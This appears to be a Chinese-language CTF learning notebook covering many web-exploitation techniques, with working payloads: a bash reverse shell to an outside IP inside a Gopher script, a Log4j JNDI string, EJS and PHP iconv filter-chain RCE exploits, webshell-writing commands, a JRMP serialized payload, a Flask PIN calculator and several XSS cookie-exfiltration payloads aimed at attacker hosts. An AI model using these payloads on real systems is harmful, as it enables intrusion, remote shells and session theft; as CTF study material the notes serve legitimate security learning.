PHP的mt_rand函数作为一个随机数生成工具在程序中被广泛使用,该函数用了 Mersenne Twister 算法的特性作为随机数发生器,它产生随机数值的平均速度比 libc 提供的 rand() 快四倍。mt_rand函数有两个可选参数 min 和 max,如果没有提供可选参数,mt_rand函数将返回返回 0 到 mt_getrandmax() 之间的伪随机数。例如想要 5 到 15(包括 5 和 15)之间的随机数,用 mt_rand(5, 15)。
可是,这个随机数是伪随机数,也就是说它并不是真正随机的,而是有规律的。mt_rand就是一个伪随机数生成函数,它由可确定的函数,通过一个种子产生的伪随机数。这意味着:如果知道了种子,或者已经产生的随机数,都可能获得接下来随机数序列的信息(可预测性)。
所以php_mt_rand这个专门爆破伪随机数种子的程序就诞生了
https://www.openwall.com/php_mt_seed/README
这类需要爆破种子的题目一般都是给你一部分的密码,然后叫你解开剩下的密码。
首先我们如果需要解密的是一个数字密码,那么直接解密即可,但如果是字符型密码,需要先转化成随机数,这里贴上脚本
str1 ='UbqeGMvlus'
str2 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"
result =''
length = str(len(str2)-1)
for i in range(0,len(str1)):
for j in range(0,len(str2)):
if str1[i] == str2[j]:
result += str(j) + ' ' +str(j) + ' ' + '0' + ' ' + length + ' '
break
print(result)
然后跑出种子后再进行随机数加密,就可以得到完整的密码
<?php
mt_srand(563782577);
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str = '';
$len1 = 20;
for ($i = 0; $i < $len1; $i++) {
$str .= substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);
}
echo "<p id='p1'>" . $str . "</p>";
?>
escapeshellarg解析漏洞
在做到[广东强网杯 2021 团队组]love_Pokemon的时候学会的一个知识点
<?php
error_reporting(0);
highlight_file(__FILE__);
$dir = 'sandbox/' . md5($_SERVER['REMOTE_ADDR']) . '/';
if (!file_exists($dir)) {
mkdir($dir);
}
function DefenderBonus($Pokemon)
{
if (preg_match("/'| |_|\\$|;|l|s|flag|a|t|m|r|e|j|k|n|w|i|\\\\|p|h|u|v|\\+|\\^|\`|\~|\||\"|\<|\>|\=|{|}|\!|\&|\*|\?|\(|\)/i", $Pokemon)) {
die('catch broken Pokemon! mew-_-two');
} else {
return $Pokemon;
}
}
function ghostpokemon($Pokemon)
{
if (is_array($Pokemon)) {
foreach ($Pokemon as $key => $pks) {
$Pokemon[$key] = DefenderBonus($pks);
}
} else {
$Pokemon = DefenderBonus($Pokemon);
}
}
switch ($_POST['myfavorite'] ?? "") {
case 'picacu!':
echo md5('picacu!') . md5($_SERVER['REMOTE_ADDR']);
break;
case 'bulbasaur!':
echo md5('miaowa!') . md5($_SERVER['REMOTE_ADDR']);
$level = $_POST["levelup"] ?? "";
if ((!preg_match('/lv100/i', $level)) && (preg_match('/lv100/i', escapeshellarg($level)))) {
echo file_get_contents('./hint.php');
}
break;
case 'squirtle':
echo md5('jienijieni!') . md5($_SERVER['REMOTE_ADDR']);
break;
case 'mewtwo':
$dream = $_POST["dream"] ?? "";
if (strlen($dream) >= 20) {
die("So Big Pokenmon!");
}
ghostpokemon($dream);
echo shell_exec($dream);
}
代码很简单,但是在遇到 if ((!preg_match(‘/lv100/i’, $level)) && (preg_match(‘/lv100/i’, escapeshellarg($level)))) 的时候却卡住了,这段逻辑的作用是:如果 levelup 参数没有匹配 ‘lv100‘,但 escapeshellarg($level) 处理后的值匹配 ‘lv100‘,则会执行 file_get_contents(‘./hint.php’),并输出该文件的内容。
存在漏洞,当escapeshellarg()无法转码时,会选择过滤掉改字符,那么我们直接我们可以用%81 去绕过,因为%81 为不可见字符。(128-255,%81-%ff,均为不可见字符)
比较阴间的是,这个玩意儿在这里
可以看到提示我们flag在/FLAG
然后直接构造命令即可,这里的RCE很简单没有问题
od命令将文件以八进制的形式输出,需要将其转换成字符串
转换脚本如下
dump = "0000000 051516 041523 043124 061173 060467 063144 060465 026541 0000020 063064 062471 032055 032146 026467 030542 030462 032055 0000040 031542 033461 034061 033067 060464 076461 000012 0000055"
octs = [("0o" + n) for n in dump.split(" ") if n]
hexs = [int(n, 8) for n in octs]
result = ""
for n in hexs:
if (len(hex(n)) > 4):
swapped = hex(((n << 8) | (n >> 8)) & 0xFFFF)
result += swapped[2:].zfill(4)
print(bytes.fromhex(result).decode())
log4j反序列化
Apache Log4j2 是一款开源的 Java 日志记录工具,大量的业务框架都使用了该组件。如:Apache Struts2、Apache Solr、Apache Druid、Apache Flink等。此次漏洞是用于 Log4j2 提供的 lookup 功能造成的,该功能允许开发者通过一些协议去读取相应环境中的配置。但在实现的过程中,并未对输入进行严格的判断,从而造成漏洞的发生。
由于log4j2应用范围太广,几乎所有java编写的服务器都受影响。
本次的题目为[HNCTF 2022 WEEK3]logjjjjlogjjjj,需要用到的工具为JNDIExploit
说实话我测试了半天都不知道这道题目的漏洞在哪里,所以我是在知道漏洞的前提下才做的这一题,不过没关系问题不大。我们直接上工具即可。需要利用vps进行端口监听
然后再输入命令,注意这里需要urlencode一次,可以使用厨子,记得勾选编码所有特殊符号。
payload=${jndi:ldap://x.x.x.x:1389/TomcatBypass/TomcatEcho}
记得添加上Cmd:命令,进行注入。
php整数溢出
在php中,post,get传过来的参数都是string,而intval处理string强制类型转换的时候就不会溢出的,最大只能是最大值。也就是说如果我们传入了一个超过php整数上限的数字,传参后都会变成一个固定值。32位系统:2147483647 64位系统:9223372036854775807所以的话无论我们传过去的数值是多少,最后都只会是一个固定值,题目是64位的,所以是9223372036854775807
所以如果有遇到参数类题目的话,这是一个很好的利用点,毕竟可以一下子就让变量从未知数变成固定值
SOME攻击
在学习这个攻击前我们得要先知道一个东西叫做JSONP,这是一个非正式协议。该协议的一个要点就是允许用户传递一个callback参数给服务端,然后服务端返回数据时会将这个callback参数作为函数名包裹在JSON数据,这样客户端就可以随意定制自己的函数来自动处理返回数据了。
在网页开发中,出于安全考虑,浏览器默认不允许不同域名(或者不同端口、不同协议)的网页直接访问彼此的数据,这叫做同源策略。但有时候,我们确实需要从不同的服务器获取数据,比如:
- 你的网页在
www.example.com
- 你想请求
api.another.com
的数据
由于同源策略,普通的 AJAX 请求(如 XMLHttpRequest
或 fetch
)会被拦截,请求失败。
虽然 AJAX 请求受限,但浏览器允许不同域的 script
标签加载 JavaScript 脚本,例如:
<script src="https://api.another.com/data.js"></script>
JSONP 就是利用 <script>
标签不受同源策略限制的特点,把数据放进 JavaScript 代码里返回。
Same Origin Method Execution,一种很特别的攻击方式,大体的进攻思路如下,我访问了一个网址,
http://a.com/color.php
然后我color.php的源代码如下,
<script>
function get_color(data) {
// todo here
}
</script>
<script>
<?php echo $_GET['callback']."();"; ?>
</script>
乍一看之下好像没什么,可一旦我这么访问的话,那么就会出现安全隐患
http://a.com/color.php?callback=get_color
我通过这样子的读取方式可以执行我在color.php里头写入的函数,这个函数可以是一个马,也可以是一个命令执行,就可以达到攻击的作用。
- 这种攻击方式有几个局限性:
- 1、受到返回头的影响,如果返回头为Content-T ype: application/json,则任何利用都不会生效。如果返回头为Content-Type:text/html则有操作空间,算是一个比较简单明了的判断方式。有个较为简单的判断方法,当修改了 URL 中的 callback 值后,看看 console 中是否会有类似
找不到方法xx
,未定义的方法xx
之类的提示,如果有的话,可以简单的认为,这个 callback 对应的函数会被执行。 - 2、攻击者没办法操作执行函数传入参数,或者可以说是比较难操作。
- 3、受到同源策略的限制,只能执行同源下的任意方法。
哎本来这些是指都是为了做题铺垫的,可是搞了半天做不出来,日
[HCTF 2017]Deserted place
源代码的话可以去GitHub上面去看
$callback = $_GET['callback'];
preg_match("/\w+/i", $callback, $matches);
...
echo "<script>";
echo $matches[0]."();";
echo "</script>";
然后可以看到就是他这个代码里头确实是用到了jsonp的协议,然后还定义了三个函数
function UpdateProfile(){
var username = document.getElementById('user').value;
var email = document.getElementById('email').value;
var message = document.getElementById('mess').value;
window.opener.document.getElementById("email").innerHTML="Email: "+email;
window.opener.document.getElementById("mess").innerHTML="Message: "+message;
console.log("Update user profile success...");
window.close();
}
function EditProfile(){
document.onkeydown=function(event){
if (event.keyCode == 13){
UpdateProfile();
}
}
}
function RandomProfile(){
setTimeout('UpdateProfile()', 1000);
}
现在我们来看看题目
刚进去就是熟悉的登录框,测试了一下就会发现admin,admin弱密码口令可以登录。
登陆进去之后可以看到username,Email,Message三个参数,然后change里头可以修改参数,click是更新参数
可以看到当我点击cahnge的时候出现了一个子窗口,而子窗口上的参数则是很标准的jsonp格式,这个时候就是得利用到SOME攻击,用来改变父级窗口的数据
然后根据wp,就是先向上面那样子在自己服务器上搭建父子窗口,然后通过修改靶机Message来进行xss攻击,然后得到flag,好的我到底在胡言乱语什么,算了,反正我是没有复现出来,GG
shit!!!!
$_REQUEST
变量覆盖
<?php
highlight_file(__FILE__);
error_reporting(0);
if($_REQUEST){
foreach ($_REQUEST as $key => $value) {
if(preg_match('/[a-zA-Z]/i', $value)) die('waf..');
}
}
if($_SERVER){
if(preg_match('/yulige|flag|nctf/i', $_SERVER['QUERY_STRING'])) die('waf..');
}
if(isset($_GET['yulige'])){
if(!(substr($_GET['yulige'], 32) === md5($_GET['yulige']))){
die('waf..');
}else{
if(preg_match('/nctfisfun$/', $_GET['nctf']) && $_GET['nctf'] !== 'nctfisfun'){
$getflag = file_get_contents($_GET['flag']);
}
if(isset($getflag) && $getflag === 'ccc_liubi'){
include 'flag.php';
echo $flag;
}else die('waf..');
}
}
?>
首先审计代码,可以看到有两个waf,第一个waf不让填字母,第二个waf过滤了yulige,flag,nctf,
然后就是过两个if,一个是MD5相等,这个可以用数组绕过,还有一个是字符串判定,就这里是重点
$_REQUEST有个特性就是当GET和POST有相同的变量时,匹配POST的变量
$_SERVER[‘QUERY_STRING’]匹配的是原始数据,就是没有url编码过的数据,所以可以使用url编码绕过
file_get_contents()可以使用data://text/plain,xxxx来构造我们需要的字符
所以直接构造payload
软连接无法删除权限为100的文件
Gopher协议脚本
import urllib.parse
payload=\
"""POST /cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh HTTP/1.1
Host: 127.0.0.1:80
Content-Type: application/x-www-form-urlencoded
Content-Length:53
bash -c 'bash -i >& /dev/tcp/120.79.29.170/4444 0>&1'
"""
tmp = urllib.parse.quote(payload)
new = tmp.replace('%0A','%0D%0A')
result='mybox://127.0.0.1:80/_'+urllib.parse.quote(new)
print(result)
Sqlite3单双引号特性
在做到[SEETF 2023]File Uploader 2的时候学会的一个知识点,关键源代码如下
from flask import Flask, render_template, render_template_string, request, redirect, url_for, session, send_from_directory
import sqlite3
import os
import uuidimport refrom waitress
import serve
...
@app.route('/', methods=['GET', 'POST'])
def login():
if request.method == 'POST':
username = request.form['username']
password = request.form['password']
pattern = r'[^a-zA-Z0-9{_}]'
if re.search(pattern, username) or re.search(pattern, password):
return render_template('login.html', error='Sus input detected!')
query = f'SELECT * FROM users WHERE dXNlcm5hbWVpbmJhc2U2NA = "{username}" AND cGFzc3dvcmRpbmJhc2U2NA = "{password}";'
try:
if cur.execute(query).fetchone():
session['usersess'] = str(uuid.uuid4())
session['filename'] = None
return redirect(url_for('profile'))
else:
raise Exception('Invalid Credentials. Please try again.')
except:
error = 'Invalid Credentials. Please try again.'
return render_template('login.html', error=error)
else:
return render_template('login.html')
...
然后给出了数据库的代码如下
import sqlite3
con = sqlite3.connect("user.db", check_same_thread=False)
con.isolation_level = None
cur = con.cursor()
cur.execute("""
DROP TABLE IF EXISTS users;
""")
cur.execute("""
CREATE TABLE IF NOT EXISTS users (
dXNlcm5hbWVpbmJhc2U2NA TEXT NOT NULL PRIMARY KEY,
cGFzc3dvcmRpbmJhc2U2NA TEXT NOT NULL
);
""")
cur.execute("""
INSERT INTO users (dXNlcm5hbWVpbmJhc2U2NA, cGFzc3dvcmRpbmJhc2U2NA)
VALUES ('admin', 'SEE{<REDACTED>}');
""")
欸,我们进入题目可以看到登录框
正常我们的思路应该是知道了账户为admin之后就要开始爆破密码,可是题目说了,密码就是flag,所以我们不可能爆出密码,于是一时间我们会卡在这里,这个时候我就学到了新的东西
我们可以看到,这段代码逻辑就是向数据库中去搜索相关的账户密码与你输入的账户密码进行匹配,但是,这里有个非常严重的漏洞就是在Sqlite3中,单引号和双引号是表示两个不同的概念,单引号表示的是字符串,双引号表示的是标识符,这里题目用了双引号,也就是说,这里只要使用列名=列名就能绕过,非常的神奇
所以我们使用dXNlcm5hbWVpbmJhc2U2NA|cGFzc3dvcmRpbmJhc2U2NA这个账号密码,就能登陆成功
find提权
前置知识
- /bin 存放所有用户皆可用的系统程序,系统启动或者系统修复时可用(在没有挂载 /usr 目录时就可以使用)
- /sbin 存放超级用户才能使用的系统程序
- /usr/bin 存放所有用户都可用的应用程序
- /usr/sbin 存放超级用户才能使用的应用程序
- /usr/local/bin 存放所有用户都可用的与本地机器无关的程序
- /usr/local/sbin 存放超级用户才能使用的与本地机器无关的程序
然后就是find提权
/usr/bin/sudo find /flag -exec cat /flag \;
简陋的记录一下,只是因为我对最后的斜杠问题,去网上搜了一下才知道这是exec结束的标志
无参数爆破
在做到[羊城杯 2020]EasySer的时候遇到了一个很奇怪的题目,那就是反序列化没给参数,就算你反序列化了而也不知道用在哪里。
<?php
error_reporting(0);
if ( $_SERVER['REMOTE_ADDR'] == "127.0.0.1" ) {
highlight_file(__FILE__);
}
$flag='{Trump_:"fake_news!"}';
class GWHT{
public $hero;
public function __construct(){
$this->hero = new Yasuo;
}
public function __toString(){
if (isset($this->hero)){
return $this->hero->hasaki();
}else{
return "You don't look very happy";
}
}
}
class Yongen{ //flag.php
public $file;
public $text;
public function __construct($file='',$text='') {
$this -> file = $file;
$this -> text = $text;
}
public function hasaki(){
$d = '<?php die("nononon");?>';
$a= $d. $this->text;
@file_put_contents($this-> file,$a);
}
}
class Yasuo{
public function hasaki(){
return "I'm the best happy windy man";
}
}
?> your hat is too black!
很明显这里没有给出任何POST或者是GET的参数,去网上搜索了一下,发现大家都用的一个名为arjun的工具
这样就可以爆出参数c,但是感觉有点简陋,不太好用。可以适当的当一个武器库使用。
Ffuf工具使用
一个关于/的小知识点的利用
源码给丢掉了,不过无所谓,这里就记住一种思路罢了。
首先就是如果我们在打web的时候,被过滤了/的话,那岂不是炸杠了,但是没事,不用惊慌,今天介绍的就是当/被过滤的时候的绕过方法。
echo $(pwd)
当我们在linux上使用这个指令的时候,会得到什么呢,是不是/,ok,那么我们就已经拿下了。
还有一个是一般我们做web题目的时候都得回退目录,那么ls /用不了怎么办,没事,不用惊慌,我们可以
cd ..&&cd ..&&cd ..&&echo $(pwd)
这样子我们就可以得到 /了,怎么说,感觉有点牛逼。
flask之pin码
在做到PolarCTF的flask_pin的时候可谓是一脸懵逼,这是个什么玩意儿,然后就又学到了新东西,记录一下吧。
Flask在debug模式下会生成一个Debugger PIN码,配合任意文件读取,会造成的任意代码执行。
然后pin码的生成函数也不复杂,这里就不展开讲了,总的来说就是依靠六个数据进行哈希运算,然后就可以得到pin码
username # 用户名
modname # flask.app
getattr(app, '__name__', getattr(app.__class__, '__name__')) # Flask
getattr(mod, '__file__', None) # flask目录下的一个app.py的绝对路径
uuid.getnode() # mac地址十进制/sys/class/net/eth0/address+/proc/self/cgroup
get_machine_id() # /etc/machine-id
#每一个机器都会有自已唯一的id,linux的id一般存放在/etc/machine-id或/proc/sys/kernel/random/boot_id,docker靶机则读取/proc/self/cgroup,其中第一行的/docker/字符串后面的内容作为机器的id,在非docker环境下读取后两个,非docker环境三个都需要读取
/etc/machine-id
/proc/sys/kernel/random/boot_id
/proc/self/cgroup
前三个值一般都是固定的,分别为root、flask.app、Flask。第四个值是绝对路径,在debug报错中有,第五个是/sys/class/net/eth0/address这个用file读取,第六个也是一样的file读取。然后在题目中实践,第五个值是一个十六进制:
那么我们就跟据这道题目来找找这六个值,前三个已经有了,第四个在报错中
第五个在/sys/class/net/eth0/address
注意这里要将其转换成十进制
这样转换就行
第六条数据
然后手搓是绝对不可能手搓了,直接上大佬脚本,他好我也好。根据大佬的说法,不同python版本对pin码的加密是不一样的
import hashlib
from itertools import chain
probably_public_bits = [
'root',# username
'flask.app',# modname
'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.5/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]
private_bits = [
'2485376933503',# str(uuid.getnode()), /sys/class/net/ens33/address
'c31eea55a29431535ff01de94bdcf5cfa884dec23a4967149e6d78d950d82503d69ee367dd825d0e4721f650c2145ce0'# get_machine_id(), /etc/machine-id+/proc/self/cgroup
]
h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
上面这个脚本是python3.5,3.6的加密方式,为md5加密,但是到了python3.8就变成了sha1加密,所以略显不同,其实也没那么复杂,就是把h = hashlib.md5()这一行的md5改成sha1就可以了
填入pin码之后成功进入,然后我们就可以进行命令执行了
拿下flag
Sesson文件包含
在PHP中,使用$_SESSION[]可以存储特定用户的Session信息。并且每个用户的Session信息都是不同的。
当用户请求网站中任意一个页面时,若用户未建立Session对象,则服务器会自动为用户创建一个Session对象,它包含唯一的sessionID和其他Session变量,并保存在服务器内存中,不同用户的Session对象存着各自指定的信息。
sessionID可以自己创造一个,比如jayjay。那么session文件名就是sess_jayjay,里面存储了sessionID为jayjay的session变量信息。sessionID一般就是Cookie中PHPSESSID的值。当用户在Cookie中设置PHPSESSID=jayjay时,PHP就会生成一个文件sess_jayjay,此时也就初始化了session。同时,这时候传参,参数值就自动被写入sess_jayjay了。
通常Linux下Session默认存储在/var/lib/php/session目录下。默认存储Session存放位置。不过最严谨的做法就是得到PHP info,然后再phpinfo中寻找session的地址。
但是在打polarctf2023冬季赛的safe_include中,则出现例外
因为ini_set限制了可读取目录的范围为/var/www/html下的子目录和/tmp下的子目录,因此猜测,sesstion文件应该是藏在/tmp里头
Windows的session保存路径为:C:\WINDOWS\Temp或集成环境下的tmp文件夹里。也可以结合文件上传漏洞上传phpinfo的文件,然后再利用文件包含包含phpinfo文件来爆出phpinfo信息更为准确。
EJS模板注入
NodeJS在3.1.6或者是更早的版本中存在模板注入漏洞
然后今天在做到SEETF2023的时候碰到了一个ejs3.1.9版本,并不了解,于是我在看完wp之后学会了一个在这个版本下的rce漏洞
const express = require('express');
const ejs = require('ejs');
const app = express();
app.set('view engine', 'ejs');
const BLACKLIST = [
"outputFunctionName",
"escapeFunction",
"localsName",
"destructuredLocals"
]
app.get('/', (req, res) => {
return res.render('index');
});
app.get('/greet', (req, res) => {
const data = JSON.stringify(req.query);
if (BLACKLIST.find((item) => data.includes(item))) {
return res.status(400).send('Can you not?');
}
return res.render('greet', {
...JSON.parse(data),
cache: false
});
});
app.listen(3000, () => {
console.log('Server listening on port 3000')
})
漏洞点是在res.render(‘index’)这个函数,暂时还不会修,等我能看懂js了就回来修
payload:?font=aaa&fontSize=16&name=aaa&settings\[view%20options\]\[escape\]=1;process.mainModule.require('child_process').execSync('/readflag>>views/index.ejs');&&settings\[view%20options\]\[client\]=1"
Makefile相关
linux的makefile是用来自动化编译大型源码的,这次做题的时候遇到了makefile相关的题目,说实话做的有点蒙蒙的,还是得记录一下
可以看到直接上来就是把PATH环境变量给清空了,然后告诉我们flag的路径,因为一开始我不了解makefile,所以这一块可以说是完全没有思路。
然后先来说说常规做法,就是写文件的形式写入木马就可以得到flag
echo "PD9waHAgZXZhbCgkX1BPU1RbY21kXSk7Pz4K" | base64 -d > 1.php
echo "<?php eval($_POST[cmd]);?>" | base64 -d > 1.php
还有一种是比较特殊的,就是使用题目定义的shell,然后用bash去读取文件
$(shell cat flag)
Java反向序列化之JRMP绕过
package org.example;
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Base64;
public class JRMP {
public static void main(String[] args) throws Exception {
ObjID id = new ObjID();
TCPEndpoint te = new TCPEndpoint("124.222.136.33", 1338);
LiveRef liveRef = new LiveRef(id, te, false);
UnicastRef ref = new UnicastRef(liveRef);
RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(obj);
oos.close();
byte[] byteArray = barr.toByteArray();
String res = Base64.getEncoder().encodeToString(byteArray);
System.out.println(res);
}
}
include绕过之iconv绕过
遇到一个很颠的题目,先看payload,到底是什么样的题目会用到这么长的payload呢,它是不是非常的难呢,嗯。。。。。
这是源代码
是的只有这么一行,正常来说我们都会去用php伪协议一读就结束了这个美好的题目,但是这玩意儿特么的做到我怀疑人生。
而很幸运的是我们也确实能利用这个东西,但是恶心的是我们不知道路径,嗯,然后就莫名其妙的卡住了。完全没想到这辈子会被一句代码卡住,无敌了孩子
正常来说当我不知道路径的时候,我会尝试去拿shell,但是吧,我实在是找不到拿shell的点,啧,勾吧题目。
然后去看了一波wp发现了这个阴间的方法,能想到这个的人真是个天才
原理是利用iconv这个伪协议上的编码可以实现编码转换,然后把一句话木马用编码转换的形式,一个字符一个字符的转换出来,具体的网上都有我就不班门弄斧了。
最后贴上脚本
import requests
url = "http://gz.imxbt.cn:20899/?file="
file_to_use = "/etc/passwd"
command = "/readflag"
# <?=`$_GET[0]`;;?>
base64_payload = "PD89YCRfR0VUWzBdYDs7Pz4"
conversions = {
'R': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2',
'B': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2',
'C': 'convert.iconv.UTF8.CSISO2022KR',
'8': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2',
'9': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB',
'f': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213',
's': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61',
'z': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS',
'U': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932',
'P': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213',
'V': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5',
'0': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2',
'Y': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2',
'W': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2',
'd': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2',
'D': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2',
'7': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2',
'4': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2'
}
# generate some garbage base64
filters = "convert.iconv.UTF8.CSISO2022KR|"
filters += "convert.base64-encode|"
# make sure to get rid of any equal signs in both the string we just generated and the rest of the file
filters += "convert.iconv.UTF8.UTF7|"
for c in base64_payload[::-1]:
filters += conversions[c] + "|"
# decode and reencode to get rid of everything that isn't valid base64
filters += "convert.base64-decode|"
filters += "convert.base64-encode|"
# get rid of equal signs
filters += "convert.iconv.UTF8.UTF7|"
filters += "convert.base64-decode"
final_payload = f"php://filter/{filters}/resource={file_to_use}"
r = requests.get(url, params={
"0": command,
"action": "include",
"file": final_payload
})
# r = requests.get(url, params={
# "0": command,
# "action": "include",
# "file": final_payload
# })
# print(r.text)
print(final_payload)
从脚本中其实就能大概理解这个exp的思路,我是更倾向于输出payload然后去调试调试,当然如果嫌麻烦也可以用注释里头的一把梭。之所以构造<?=`$_GET[0]`;;?>这样子的形式我猜测是因为不想要斜杠吧,因为正常的一句话木马base64之后有斜杠
然后这个时候就有人肯定想要开源工具了,有的兄弟有的,经过我坚持不懈的努力我还是找到了
https://github.com/synacktiv/php_filter_chain_generator
https://hvang10.github.io/2024/04/27/XYCTF2024wp/index.html
但是这个时候你就会发现,会无法绕过,因为会有脏数据,这个时候就要用base64的特性,去让需要编码的数据的字符数量凑三的倍数,但是这个时候你会有垃圾字符,就是会有不需要的,这个时候你就要再编码的最后加上string.strip_tags就可以去除后面的垃圾字符。然后就可以拿下
SESSION反序列化
XSS之cookie外带攻击
这次打到长城杯半决赛的时候在渗透题中碰到了,feedback这个单词我大概能记一辈子,md。
首先需要的是起一个服务,用于监听
python3 -m http.server 8080(端口号)
python2 -m SimpleHTTPServer 8080(端口号)
然后就是各种xss的cookie外带攻击姿势,这次一口气全纪录了,量大管饱。
平A版本
<script>document.location.href='http://xxx:8080/'+document.cookie</script>
利用 document.cookie 获取当前域下所有 cookie 的值:
<script>new Image().src="http://attacker-site.com/cookie.php?cookie="+document.cookie;</script>
将当前页面的 URL 和 Cookie 发送到攻击者的服务器:
<img src="http://attacker-site.com/logger.php?url="+encodeURIComponent(document.location.href)+"&cookie="+encodeURIComponent(document.cookie)" />
利用 XMLHttpRequest 对象发送 HTTP 请求,将 Cookie 数据发送到攻击者的服务器:
<script>var xhr = new XMLHttpRequest(); xhr.open("POST", "http://attacker-site.com/logger.php", true); xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); xhr.send('url=' + encodeURIComponent(document.location.href) + '&cookie=' + encodeURIComponent(document.cookie));</script>
利用 window.location 对象向攻击者的服务器提交请求,附带当前页面的 URL 和 Cookie:
<script>window.location="http://attacker-site.com/logger.php?url="+encodeURIComponent(document.location.href)+"&cookie="+encodeURIComponent(document.cookie);</script>
利用 document.write 返回页面中的Cookie,并将其拼接到目标URL中,作为参数发送到指定的 IP 地址和端口
<script>document.write('<img src="http://ip:端口号/'+document.cookie+'"/>')</script>
通过 window.open 方法打开了指定的攻击机地址,并拼接、传递cookie
<img src=1 onerror=window.open("http://ip:端口号/?id="+document.cookie)>
还有一个刚打过的TPCTF2025的payload
layout: <svg src="{{content}}"></svg>
content: test" onload=location.href="http://IP:PORT?flag="+document.cookie src="
--------------------------------------------------------------------------------------------
<svg data-type="{{content}}"></svg>
test" onload=location.href="http://xxx.xxx.xxx.xxx:xxxx?flag="+document.cookie src="
以上,希望自己以后遇到类似的问题不要再不会或者想不到了。